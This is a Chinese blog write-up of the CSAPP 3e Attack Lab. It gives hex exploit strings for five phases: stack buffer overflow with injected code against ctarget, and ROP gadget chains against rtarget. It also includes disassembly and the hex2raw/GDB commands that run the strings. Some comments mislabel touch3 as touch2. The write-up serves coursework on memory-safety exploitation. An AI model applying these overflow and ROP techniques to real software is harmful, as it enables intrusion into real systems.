CSAPP 3e: Attack Lab

吾生也有涯,而知也无涯。这篇文章主要讲述CSAPP 3e: Attack Lab相关的知识,希望能为你提供帮助。
注意:开始这个实验之前请仔细阅读这个实验的readme和writup(实验说明和实验攻略),仔细阅读之后,事半功倍。
我使用的是从官网下载下来的self-study handout,实验过程中不连接服务器(单机版的感觉),所以不涉及计分板这些东西,如果想要了解,参看readme文档。
phase1:
由文档writup可知,这一关是对ctarget文件的操作,实验目的是,通过利用缓冲区溢出漏洞,调用函数touch1()。

void touch1(){ vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()\\n"); validate(1); exit(0); }

 
解析:这一关很简单,只要你知道touch1()函数的地址,用该地址替换本来在栈顶的那个地址就行,即利用ret指令,使程序跳转到touch1()函数。
参看ctarget的反汇编文件:

00000000004017a8 < getbuf> : 4017a8:48 83 ec 28sub$0x28,%rsp 4017ac:48 89 e7mov%rsp,%rdi 4017af:e8 8c 02 00 00callq401a40 < Gets> 4017b4:b8 01 00 00 00mov$0x1,%eax 4017b9:48 83 c4 28add$0x28,%rsp 4017bd:c3retq 4017be:90nop 4017bf:90nop00000000004017c0 < touch1> : 4017c0:48 83 ec 08sub$0x8,%rsp 4017c4:c7 05 0e 2d 20 00 01movl$0x1,0x202d0e(%rip)# 6044dc < vlevel> 4017cb:00 00 00 4017ce:bf c5 30 40 00mov$0x4030c5,%edi 4017d3:e8 e8 f4 ff ffcallq400cc0 < [email  protected]> 4017d8:bf 01 00 00 00mov$0x1,%edi 4017dd:e8 ab 04 00 00callq401c8d < validate> 4017e2:bf 00 00 00 00mov$0x0,%edi 4017e7:e8 54 f6 ff ffcallq400e40 < [email  protected]>

程序运行后先调用getbuf()函数,这个函数有溢出漏洞,溢出之后的内容会覆盖栈顶。在本例中,缓冲区大小为0x28,即40个字节,超出40个字节后就是溢出的内容了。
再看touch1的地址,0x4017c0; 我们就知道该怎么编辑第一关的解题字符串了。
fa 97 b9 59 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00 00 00/* 这里是溢出内容,0x4017c0是touch1的地址,注意栈是8字节的 */

用hex2raw将该touch1.txt文档转换成16进制字符串文档touch1_raw.txt:hex2raw < touch1.txt> touch1_raw.txt。
【CSAPP 3e: Attack Lab】 然后在GDB(GDB ctarget)中运行: r -q < touch1_raw.txt
CSAPP 3e: Attack Lab

文章图片

第一关,通过!
 
phase2:目的:调用touch2,看函数也可以知道,调用touch2需要传递一个与cookie一样的unsigned值,函数第一个参数在汇编里通过寄存器%rdi来传递。
void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\\n", val); fail(2); } exit(0); }

反汇编代码
00000000004017ec < touch2> : 4017ec:48 83 ec 08sub$0x8,%rsp 4017f0:89 famov%edi,%edx#%edi传递cookie的值。 4017f2:c7 05 e0 2c 20 00 02movl$0x2,0x202ce0(%rip)# 6044dc < vlevel> 4017f9:00 00 00 4017fc:3b 3d e2 2c 20 00cmp0x202ce2(%rip),%edi# 6044e4 < cookie> ,即0x202ce2(%rip)上就是cookie,这里是验证输入值是否正确 401802:75 20jne401824 < touch2+0x38> 401804:be e8 30 40 00mov$0x4030e8,%esi 401809:bf 01 00 00 00mov$0x1,%edi 40180e:b8 00 00 00 00mov$0x0,%eax 401813:e8 d8 f5 ff ffcallq400df0 < [email  protected]> 401818:bf 02 00 00 00mov$0x2,%edi 40181d:e8 6b 04 00 00callq401c8d < validate> 401822:eb 1ejmp401842 < touch2+0x56> 401824:be 10 31 40 00mov$0x403110,%esi 401829:bf 01 00 00 00mov$0x1,%edi 40182e:b8 00 00 00 00mov$0x0,%eax 401833:e8 b8 f5 ff ffcallq400df0 < [email  protected]> 401838:bf 02 00 00 00mov$0x2,%edi 40183d:e8 0d 05 00 00callq401d4f < fail> 401842:bf 00 00 00 00mov$0x0,%edi 401847:e8 f4 f5 ff ffcallq400e40 < [email  protected]>

解析:为了实现将cookie作为参数传递给touch2,我们需要在调用touch2之前先将cookie传递给%edi :  bf fa 97 b9 59 c3
bf就是mov $立即数,%edi,fa 97 b9 59 是我的cookie值,c3 是ret指令。
我需要用getbuf的ret跳转到指令bf fa 97 b9 59mov 0x59b997fa,%edi,再通过这条mov指令之后的ret指令跳转到touch2,地址0x4017ec。
这是我的答案
bf fa 97 b9 59 c3 00 00/* mov 0x59b997fa,%edi */ /* ret */ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00/* getbuf的ret跳转,跳转到字符串开头,即执行上边的那个mov代码 */ ec 17 40 00 00 00 00 00/* 字符串开头那指令后的ret跳转,跳转到touch2函数 */


用hex2raw将该touch2.txt文档转换成16进制字符串文档touch2_raw.txt:hex2raw < touch2.txt> touch2_raw.txt。
然后在GDB(GDB ctarget)中运行: r -q < touch2_raw.txt
CSAPP 3e: Attack Lab

文章图片

第二关,通过!
 
phase3: 调用touch3,touch3的参数是一个指向字符串的地址,字符串的内容是cookie,不是unsigned值,而是字符串形式的。
/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\\"%s\\")\\n", sval); validate(3); } else { printf("Misfire: You called touch3(\\"%s\\")\\n", sval); fail(3); } exit(0); }

解析:我们需要传递一个指向字符串的地址,作为touch2的(第一个)参数,所以还是需要 mov $立即数,%edi 这个指令。其实不过是touch2的升级,只不过传递给%edi的一个是数值,一个是地址值。
这里是答案
35 39 62 39 39 37 66 61/* cookie值得字符串,“59b997fa” */ 00 00 00 00 00 00 00 00 bf 78 dc 61 55 c3 00 00/* mov $0x5561dc78,%edi *//* ret */ 00 00 00 00 00 00 00 00/* 0x5561dc78是字符串"59b997fa"的首地址 */ 00 00 00 00 00 00 00 00 88 dc 61 55 00 00 00 00/* 用ret跳转到mov & 0x5561dc78,%edi 指令 */ fa 18 40 00 00 00 00 00/* 用ret跳转到touch3函数 */

验证
CSAPP 3e: Attack Lab

文章图片

第三关,通过!
 
phase4:注意!从这一关开始的最后两关,是对rtarget的操作,要使用的是ROP攻击方法。这一关里要求用ROP方法重复实现第二关的挑战。同时注意这一关只能使用farmc中的前半段,即:
0000000000401994 < start_farm> : 401994:b8 01 00 00 00mov$0x1,%eax 401999:c3retq000000000040199a < getval_142> : 40199a:b8 fb 78 90 90mov$0x909078fb,%eax 40199f:c3retq00000000004019a0 < addval_273> : 4019a0:8d 87 48 89 c7 c3lea-0x3c3876b8(%rdi),%eax; 89 c7. 4019a6:c3retq00000000004019a7 < addval_219> : 4019a7:8d 87 51 73 58 90lea-0x6fa78caf(%rdi),%eax 4019ad:c3retq00000000004019ae < setval_237> : 4019ae:c7 07 48 89 c7 c7movl$0xc7c78948,(%rdi) 4019b4:c3retq00000000004019b5 < setval_424> : 4019b5:c7 07 54 c2 58 92movl$0x9258c254,(%rdi) 4019bb:c3retq00000000004019bc < setval_470> : 4019bc:c7 07 63 48 8d c7movl$0xc78d4863,(%rdi) 4019c2:c3retq00000000004019c3 < setval_426> : 4019c3:c7 07 48 89 c7 90movl$0x90c78948,(%rdi); 89 c7 > movl %eax,%edi. 4019c9:c3retq00000000004019ca < getval_280> :11 4019ca:b8 29 58 90 c3mov$0xc3905829,%eax 4019cf:c3retq00000000004019d0 < mid_farm> : 4019d0:b8 01 00 00 00mov$0x1,%eax 4019d5:c3retq

解析:要带参数调用touch2,必不可少的就是向%edi传递cookie值。通过观察可以用的代码,发现可以这样实现。
 
pop %rax/* 出栈将cookie值传递给%rax */ ret/* 跳转到下一个指令 */ mov %eax,%edi/* cookie值传给%edi */ ret/* 跳转到touch2 */

然后,按照这个思路,出来了下边这个答案。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00/* popq %rax */ fa 97 b9 59 00 00 00 00/* cookie */ c6 19 40 00 00 00 00 00/* movl %eax,%edi */ ec 17 40 00 00 00 00 00/* jump to touch2 */

验证
CSAPP 3e: Attack Lab

文章图片

第四关,通过!
 
phase5: 最后一关,要求重复实现第三关的内容,同时可以使用start_farm到end_farm之间的全部代码。(太长就不贴出来了)
这里我也是卡了好久,后来参考了网上的方法。因为第三关,这里已经是知道需要做的事情了,只不过流程不一样而已,还有受限于可以使用的代码不多。权衡之后,有了以下这个解法。
35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0006 1a 40 00 00 00 00 00/* mov %rsp,%rax */ a2 19 40 00 00 00 00 00/* mov %rax,%rdi */ab 19 40 00 00 00 00 00/* pop %rax */ 48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00/* mov %eax,%edx */ 70 1a 40 00 00 00 00 00/* mov %edx,%ecx */ 13 1a 40 00 00 00 00 00/* mov %ecx,%esi */ d6 19 40 00 00 00 00 00/* lea (%rdi,%rsi,1),%rax */ a2 19 40 00 00 00 00 00/* mov %rax,%rdi */ fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61/* cookie string */ 00 00 00 00 00 00 00 00

mov %rsp,%rax/* 要通过%rsp的值,进行相对偏差修正得到字符串首地址 */
mov %rax,%rdi/* 所以将其传递给%rdi,这里用了两个指令使因为可以使用的指令中不存在 mov %rsp,%rdi。所以只好多来一步 */
pop %rax/* 出栈传给%rax的是字符串首地址与已被传递给%rdi的地址值之间的相对偏差值。
mov %eax,%edx
mov %edx,%ecx
mov %ecx,%esi/* 以上三步只是为了实现 mov %eax,%esi */
lea (%rdi,%rsi,1),%rax/* 通过运算得出字符串首地址,存储在%rax中 */
mov %rax,%rdi/* 字符串首地址传递给%rdi,之后就可以跳转到touch2函数了 */
/* cookie *//* 这里是字符串,因为只有mov %eax,%esi 而不能做到 mov %rax,%rsi ,所以字符串位置不能相对%rsp为负值,负值会在从%rax到%eax的过程中切割,导致错误的值,所以只好把字符串放在了末尾,相对%rsp偏差为正值 */
 
最后,验证
CSAPP 3e: Attack Lab

文章图片

第五关,通过!
 
结尾:这一关总算完了,终于可以好好准备开始下一个lab实验了hhh。



    推荐阅读